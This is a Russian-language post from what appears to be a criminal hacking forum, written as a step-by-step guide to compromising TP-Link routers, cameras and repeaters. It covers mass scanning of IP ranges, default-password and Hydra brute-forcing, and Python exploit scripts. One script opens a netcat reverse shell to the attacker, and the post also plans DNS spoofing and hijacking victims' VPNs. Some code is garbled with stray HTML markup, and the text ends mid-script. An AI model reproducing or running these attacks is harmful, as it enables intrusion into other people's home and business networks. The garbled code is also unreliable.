• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Тупой линк! Атаки на TP-Link оборудование.

Gufi

(L2) cache
Пользователь
Регистрация
12.07.2022
Сообщения
468
Реакции
819
Гарант сделки
3
1.Вступление
  • Знакомство с TP Link
  • Актуальность атак на TP Link

2.Information Gathering

  • Определение оборудования TP Link в сети
  • Определение версии прошивки
  • Сканирование служб и построение векторов атак

3.Bruteforse атаки

  • Брутфорс веб панели
  • Брутфорс FTP
  • Брутфорс SSH

4.Атаки через эксплоиты

  • Список устройств уязвимых к RCE
  • Список устройств уязвимых к Auth Bypass
  • Список устройств уязвимых к Command Injection
  • Список устройств уязвимых к Cross-Site Scripting
  • Список устройств уязвимых к DoS атаке

5.Постэксплуатация

  • Проникаем в удаленную локальную сеть
  • Проводим DNS Spoofing
  • Поднимаем VPN для личного использования
  • Получаем шелл
  • Эксплуатируем уязвимости типа “Authenticated”

6.Итоги


Вступление
Знакомство с TP-Link
TP Link это одна из ведущих мировых компаний, специализирующаяся на производстве сетевого оборудования и решений для домашних и бизнес-сетей. Давайте познакомимся с историей компании и её самыми популярными устройствами.
История компании TP-Link: TP-Link была основана в 1996 году в Китае. Начав свою деятельность с небольшой команды, компания быстро стала известным производителем сетевых устройств благодаря своему фокусу на качестве, инновациях и доступной цене своей продукции. С тех пор TP-Link стала одним из ведущих поставщиков сетевого оборудования по всему миру.


Устройства TP-Link: TP-Link предлагает широкий спектр сетевых устройств, включая маршрутизаторы, коммутаторы, адаптеры Wi-Fi, точки доступа, репитеры, сетевые хранилища и многое другое. Вот некоторые из их самых популярных моделей:
  • Маршрутизаторы: TP-Link предлагает маршрутизаторы различных классов для домашних пользователей и бизнес-среды. Некоторые популярные модели включают Archer C7, Archer A7, Archer AX50, и Archer C4000.
  • Коммутаторы: TP-Link предлагает коммутаторы различной емкости и функциональности для создания стабильных сетей в офисах и домах. Некоторые популярные модели включают TL-SG105, TL-SG108, и TL-SG2424.
  • Точки доступа: TP-Link предлагает беспроводные точки доступа для усиления сигнала Wi-Fi и расширения покрытия сети. Некоторые популярные модели включают EAP225, EAP245, и EAP620.
  • Репитеры: TP-Link предлагает устройства для расширения зоны покрытия Wi-Fi, такие как RE300, RE450, и RE650.
  • Адаптеры Wi-Fi: TP-Link предлагает USB Wi-Fi адаптеры и PCIe адаптеры для подключения компьютеров к беспроводной сети. Некоторые популярные модели включают Archer T4U, Archer T6E, и Archer T9E.
Это все лишь небольшой список самого популярного оборудования. В статье я постараюсь описать работу с многими устройствами от TP-Link

Актуальность атак на TP Link
Уязвимостей для оборудования Tp-Link очень много! В отличии от других производителей роутеров.
Например самые последние эксплоиты:
  • TP-Link TL-WR740N - Authenticated Directory Transversal
  • TP-Link TL-WR940N V4 - Buffer OverFlow
  • TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated)
  • TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
  • TP-Link TL-WR841N - Command Injection
В системной инфраструктуре оборудования стоит много версий разных прошивок, и вот в них ищут те самые уязвимости. 80% уязвимостей оборудования TP Link связаны с веб панелей управления оборудованием.
90% роутеров или другого сетевого оборудования, а тем более домашек TP-Link имеют пароль админ веб-панели по умолчанию.
У всех роутеров открыта веб панель, это самое популярное язвимое место для брута.

Роутеры TP-Link актуальны большими возможностями своей прошивки, изменение настроек сети, поднятие и конфигурация VPN сервера, перепрошивка устройства, настройка кастомного DNS сервера и многое другое!
Также эти роутеры очень популярны в домашних сетях, но не расстраивайтесь – их также используют корпы. Но также не забывайте что и домашние сети можно неплохо отработать зависимо от модели и версии прошивки оборудования. Даже пройдясь простым Router Scan по диапазонам стран, вы словите неплохое количество роутеров TP-Link, про их эксплуатацию мы поговорим в конце статьи.

Information Gathering
Определение оборудования TP Link в сети
Мы будем работать с двумя кейсами: локальная сеть и устройства во всемирной паутине.

Первый этап атаки – сбор информации об цели, но сперва нам нужно определить ту самую цель то есть оборудование TP Link.

Определение с помощью Router Scan:
Инструмент Router Scan умеет парсить заголовки веб страниц входа, тем самым покажет нам марку и модель оборудования (иногда даже тип оборудования и версию прошивки)
Скачать Router Scan: http://stascorp.com/load/0-0-1-56-20

1.Открываем инструмент Router Scan (На линуксе его можно открыть с помощью инструмента Wine , sudo wine RouterScan.exe)
2.В поле добавления таргетов кликаем сюда на X
3.Пишем IP адреса, инструмент также принимает CIDR диапазоны (например x.x.x.x-x.x.x.x или x.x.x.x/24)
4.Запускаем сканирование

После завершения сканирования в строке “Search” пишем TP-Link
Теперь после сканирования мы можем увидеть такую картину:
1691509567336.png

Мы можем выделить колонку с IP адресами и скопировать ее нажав правой кнопкой мыши и выбрав “copy selected cells”.

Определение по MAC адресу:
С помощью инструмента Advanced IP Scanner мы сможем просканировать локальную сеть и спарсить данные из MAC адресов устройств.

Скачать: https://www.advanced-ip-scanner.com/download/
Запускаем программу , и в поле пишем свою подсеть.
Чтобы узнать подсеть , на системах Windows: Ipconfig на системах Linux: ip a
Нажимаем кнопку “Сканировать”. Запускаем программу , и в поле пишем свою подсеть.
После сканирования , в разделе “производитель” мы найдем устройства от TP-Link

Определение по баннерам сетевых служб:
На 80 порте висит та самая веб-панель, используя инструмент сканирования Nmap с флагом -sV для получения баннера службы, можно определить в сети те самые устройства TP-Link.

Для сканирования локальной подсети:
Nmap -sV 192.168.0.1/24 (не забудьте заменить подсеть на свою)

Для сканирования устройств в всемирной паутине:

Nmap -sV <ip> или Nmap -sV <путь к файлу с IP адресами>

Определение версии прошивки
В заголовке веб страницы админ панели роутера, мы сможем увидеть модель оборудования, а в некоторых случаях и версию прошивки! Исходя из этих данных мы сможем строить актуальные векторы атак на систему.
Используя инструмент Router Scan который мы установили в предыдущей главе мы сможем спарсить информацию из этого заголовка.

1.Открываем инструмент Router Scan (На линуксе его можно открыть с помощью инструмента Wine , sudo wine RouterScan.exe)
2.В поле добавления таргетов кликаем сюда на X
3.Пишем IP адреса, инструмент также принимает CIDR диапазоны (например x.x.x.x-x.x.x.x или x.x.x.x/24)
4.Запускаем сканирование

После завершения сканирования в строке “Search” пишем TP-Link
Теперь в колонке Server name мы сможем увидеть модель оборудования и версию прошивки.

Преимущество Router Scan в том что он работает сразу с большим списком таргетов и в много потоке но если нам надо вручную проверить версию оборудования на определенном IP адресе – перейдите на этот айпи адрес через браузер например: https://192.168.0.1
Вот такую картину мы увидим:
1691509678177.png

Сверху у нас будет модель оборудования, и иногда версия прошивки (зависит от модели оборудования)

Сканирование служб и построение векторов атак
Теперь определив оборудование TP-Link в сети, нам надо просканировать все открытые службы для удаленного доступа к девайсу чтобы построить возможные векторы атак.
Для этого мы будем использовать инструмент сканирования Nmap с флагом -A
Nmap -A <IP>
Модуль соберет полную информацию про девайс, такую как все открытые порты на устройстве, баннеры служб, сканирование трассировки и использование скриптов Nmap NSE.

На 90% устройств открыт порт 80, то есть доступ по веб панели, это основной и в почти всех случаях самый эффективный вектор атаки – брутфорс веб панели.

Но иногда мы можем увидеть открытый протокол FTP, а еще чаще е SSH (Dropbear sshd 2012.55) FTP используют как сервер хранения данных, а SSH для удалённого доступа к консоли оболочки роутера.
Если эти два протоколы открыты, значит для каждого протокола у нас появляется новый вектор атаки на цель – брутфорс.

После сбора информации об наших целях, можно перейти к атаке. Сперва мы разберем атаку методом брутфорса на открытые протоколы (Веб панель администрирования, FTP, SSH) а потом перейдем к использованию эксплоитов.

Bruteforse атаки
Брутфорс веб панели
Перейдем к атаке! Основной целей для нас будет веб панель администрирования устройства. Она висит на порте 80, увидеть ее мы можем зайдя на IP адрес роутера через браузер.

Логин и пароль девайса по умолчанию – admin:admin в 70% случаев админы так и оставляют этот логин и пароль в надежде что их хакеры точно не затронут или изменяют на пароли типа qwerty, password и все в этом роде)
Для точечного брута, мы будем использовать инструмент с Github - https://github.com/WalderlanSena/toolsrouterbrute

Также нам нужно вордлист для брута, вот репозиторий с несколькими доступными вариантами: https://weakpass.com/
Скачав инструмент и нужный нам словарь, переходим в директорию с инструментом, и запускаем его с помощью команды python trb.py admin <IP> <путь к словарю>
Инструмент начнет подбор паролей, и в случае удачи – покажет нам пароль к админке.

Для массового взлома роутеров TP-Link мы будем использовать инструмент Router Scan. Его преимущества:
  • Работа с IP диапазонами
  • Добавление списка таргетов (IP)
  • Работа в многопоточном режиме
  • Проведение брутфорс атаки
  • Использование эксплоитов
Скачать Router Scan: http://stascorp.com/load/1-1-0-56
  1. Открываем инструмент Router Scan (На линуксе его можно открыть с помощью инструмента Wine , sudo wine RouterScan.exe)
  2. В поле добавления таргетов кликаем сюда на X
  3. Пишем IP адреса, инструмент также принимает CIDR диапазоны (например x.x.x.x-x.x.x.x или x.x.x.x/24)
  4. Выбираем количество потоков
  5. Запускаем сканирование
После сканирования, перейдем в раздел “Good results” тут мы увидим список взломанных устройств с подходящим логином/паролем
1691509958357.png


Брутфорс FTP
FTP - это стандартный протокол для передачи файлов между компьютерами в сети. Оборудование TP-Link часто поддерживает FTP-сервер, который позволяет пользователям обмениваться файлами с другими устройствами через сеть. С помощью FTP можно загружать файлы на устройство TP-Link или скачивать файлы с него. Он использует два канала для передачи данных: управляющий канал для установления соединения и передачи команд, а также канал данных для фактической передачи файлов.

Обычно пользователи могут настроить учетные данные (логин и пароль) для доступа к FTP-серверу в оборудовании TP-Link. Важно использовать надежные учетные данные и при необходимости ограничить доступ к FTP-серверу извне сети, чтобы обеспечить безопасность данных.


Для брутфорса девайса TP-Link через протокол FTP, мы будем использовать инструмент Hydra.

hydra -l <логин> -P <путь к словарю> ftp://<IP>
Почти всегда логин это admin, но также для расширенной атаки используйте прокси, это флаг -P <proxy_list>

Брутфорс SSH
SSH (Secure Shell): SSH - это криптографический сетевой протокол, который обеспечивает защищенное удаленное подключение и выполнение команд на удаленных устройствах. TP-Link-устройства поддерживают SSH, что позволяет администраторам исключительное удаленное управление устройствами через зашифрованное соединение.
SSH обеспечивает безопасную аутентификацию с использованием публичных и приватных ключей или паролей. Через SSH можно выполнить команды на устройстве и настроить различные параметры, в том числе настройки сети и безопасности.

Для брутфорса девайса TP-Link через протокол SSH, мы будем использовать инструмент Hydra.

hydra -l <username> -P <password_list> ssh://<target_ip>
Почти всегда логин это admin, но также для расширенной атаки используйте прокси, это флаг -P <proxy_list>
После удачной атаки, мы получим логин и пароль к SSH, зайдя по нему мы попадем в оболочку Busy box, с которой мы сможем смотреть и создавать файлы.

Атаки через эксплоиты
Список устройств уязвимых к RCE
Remote Code Execution (RCE): Эта уязвимость позволяет злоумышленникам выполнить свой код на устройстве, получив удаленный доступ к системе.

TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
TP-Link Tapo C200 - это сетевая камера видеонаблюдения, предназначенная для использования в домах и малых офисах. Она позволяет пользователям наблюдать за своими владениями или рабочими пространствами через удаленный доступ через мобильное приложение.

Уязвимость базируется на не фильтрации запросов к серверу, эксплоит отсылает вредоносный запрос, тем самым вызывает Reverse Shell.

Python:
import requests, urllib3, sys, threading, os

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PORT = 1337
REVERSE_SHELL = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f'
NC_COMMAND = 'nc -lv %d' % PORT # nc command to receive reverse shell (change it depending on your nc version)

if len(sys.argv) < 3:
    print("Usage: python3 pwnTapo.py <victim_ip> <attacker_ip>")

exit()

victim = sys.argv[1]
attacker = sys.argv[2]

print("[+] Listening on %d" % PORT)
t = threading.Thread(target=os.system, args=(NC_COMMAND,))
t.start()

print("[+] Serving payload to %s\n" % victim)
url = "https://" + victim + ":443/"
json = {"method": "setLanguage", "params": {"payload": "';" + REVERSE_SHELL % (attacker, PORT) + ";'"}}
requests.post(url, json=json, verify=False)


TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution
Эксплоит работает в пределах локальной сети, Этот модуль использует уязвимость внедрения команд в Демон tdpServer (/usr/bin/tdpServer)
Уязвимые устройства – TP-Link Archer A7, TP-Link Archer C7 (Новая техника инъекции работает и на старых прошивках. Все версии прошивки до (но исключая) выпусков 201029 и 201030 могут быть использованы)
Эксплоит находится в инструменте Metasploit Framework, для его выбора выполните эту команду в консоли инструмента: use exploit/linux/misc/tplink_archer_a7_c7_lan_rce



TP LINK TL-WR849N - Remote Code Execution

TP-Link TL-WR849N - это беспроводной маршрутизатор, который предназначен для обеспечения беспроводного интернет-подключения и сетевого распределения в домашних условиях или в небольших офисах. Этот маршрутизатор предлагает базовые функции маршрутизации, беспроводного доступа и защиты, делая его доступным решением для пользователей, которые хотят подключить несколько устройств к интернету.

Удаленный злоумышленник может использовать эту уязвимость, чтобы инициировать удаленное выполнение кода в целевой системе. С помощью зловредного запроса на веб панель.

Код:
importstyle='font-size:8.0pt;font-family:Consolas;color:black'> requests
 
class=token>defstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>outputclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>):style='font-size:8.0pt;font-family:Consolas;color:black'>
    url class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/cgi?1'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>''style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'diagnosticsState\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'X_TP_HopSeq\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'X_TP_Result\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>urlclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    saida class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> rclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>text
    filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> saidaclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>': Name or service not known'class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> filtroclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>'[0,0,0,0,0,0]0'class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> filtroclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>'diagnosticsState='class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> filtroclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>'X_TP_HopSeq=0'class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> filtroclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>'X_TP_Result='class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>printclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>filtroclass=token>[:class=token>-class=token>8class=token>])style='font-size:8.0pt;font-family:Consolas;color:black'>
 
class=token>defstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>acepptclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>):style='font-size:8.0pt;font-family:Consolas;color:black'>
    url class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/cgi?7'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>urlclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    outputclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
class=token>defstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>injectclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>commandclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>):style='font-size:8.0pt;font-family:Consolas;color:black'>
    url class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/cgi?2'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>''style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'maxHopCount=20\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'timeout=5\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'numberOfTries=1\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'host=\"$('class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'>commandclass=token>+class=token>')\"\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'dataBlockSize=64\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'X_TP_ConnName=ewan_pppoe\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'diagnosticsState=Requested\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'X_TP_HopSeq=0\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>urlclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    acepptclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
class=token>defstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>mainclass=token>():style='font-size:8.0pt;font-family:Consolas;color:black'>
    cookies class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{class=token>"Authorization"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"Basic REPLACEBASE64AUTH"class=token>}style='font-size:8.0pt;font-family:Consolas;color:black'>
    headers class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{class=token>'Content-Type'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'text/plain'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
      class=token>'Referer'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/mainFrame.htm'class=token>}style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>whilestyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>Trueclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
        command class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>inputclass=token>(class=token>'$ 'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
        injectclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>commandclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
style='font-size:8.0pt;font-family:Consolas;color:black'>
main()


TP-Link TL-WA850RE - Remote Command Execution

TP-Link WA850RE - это устройство, известное как усилитель беспроводного сигнала или Wi-Fi репитер. Его основная цель - улучшить покрытие беспроводной сети в доме, офисе или другом помещении, где сигнал Wi-Fi может быть слабым или недостаточным.

На httpd-сервере универсального расширителя диапазона Wi-Fi TP-Link WA850RE существует уязвимость, которая позволяет аутентифицированным злоумышленникам вводить произвольные команды в качестве аргументов для вызова execve() из-за отсутствия очистки ввода. Внедренные команды выполняются с привилегиями root.

Код:
importstyle='font-size:8.0pt;font-family:Consolas;color:black'> argparse
import requests
import hashlib
import telnetlib
parser =style='font-size:8.0pt;font-family:Consolas;color:black'> argparseclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>ArgumentParserclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
    descriptionclass=token>=class=token>"Exploits TP-LINK WA850RE Command injection"style='font-size:8.0pt;font-family:Consolas;color:black'>
)
parser.style='font-size:8.0pt;font-family:Consolas;color:black'>add_argumentclass=token>(class=token>"host"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>helpclass=token>=class=token>"Host to attack."class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>typeclass=token>=class=token>strclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
parser.style='font-size:8.0pt;font-family:Consolas;color:black'>add_argumentclass=token>(class=token>"password"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>helpclass=token>=class=token>"Extender's Password"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>typeclass=token>=class=token>strclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
parser.style='font-size:8.0pt;font-family:Consolas;color:black'>add_argumentclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"-C"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"--cookie"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>helpclass=token>=class=token>"Cookie id value."class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>typeclass=token>=class=token>strclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> defaultclass=token>=class=token>"1301a8c000c4c505"style='font-size:8.0pt;font-family:Consolas;color:black'>
)
args =style='font-size:8.0pt;font-family:Consolas;color:black'> parserclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>parse_argsclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
HOST =style='font-size:8.0pt;font-family:Consolas;color:black'> argsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>host
PASSWORD =style='font-size:8.0pt;font-family:Consolas;color:black'> argsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>password
COOKIE =style='font-size:8.0pt;font-family:Consolas;color:black'> argsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>cookie
cookies =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{class=token>"gsScrollPos-8016"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"0"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"COOKIE"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> COOKIEclass=token>}style='font-size:8.0pt;font-family:Consolas;color:black'>
headers =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Origin"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"http://%s/"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Accept-Encoding"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"gzip, deflate"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Accept-Language"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"en-US,en;q=0.9,es;q=0.8"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"User-Agent"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"Mozilla/5.0"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Content-Type"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"application/x-www-form-urlencoded; charset=UTF-8"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Accept"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"application/json, text/javascript, */*; q=0.01"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Referer"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"http://%s/"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"X-Requested-With"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"XMLHttpRequest"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Connection"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"keep-alive"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"DNT"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"1"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
}
password =style='font-size:8.0pt;font-family:Consolas;color:black'> hashlibclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>md5class=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>PASSWORDclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>encodeclass=token>(class=token>"utf-8"class=token>)).style='font-size:8.0pt;font-family:Consolas;color:black'>hexdigestclass=token>().style='font-size:8.0pt;font-family:Consolas;color:black'>upperclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
encoded =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"%s:%s"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>passwordclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> COOKIEclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
encoded =style='font-size:8.0pt;font-family:Consolas;color:black'> hashlibclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>md5class=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>encodedclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>encodeclass=token>(class=token>"utf-8"class=token>)).style='font-size:8.0pt;font-family:Consolas;color:black'>hexdigestclass=token>().style='font-size:8.0pt;font-family:Consolas;color:black'>upperclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
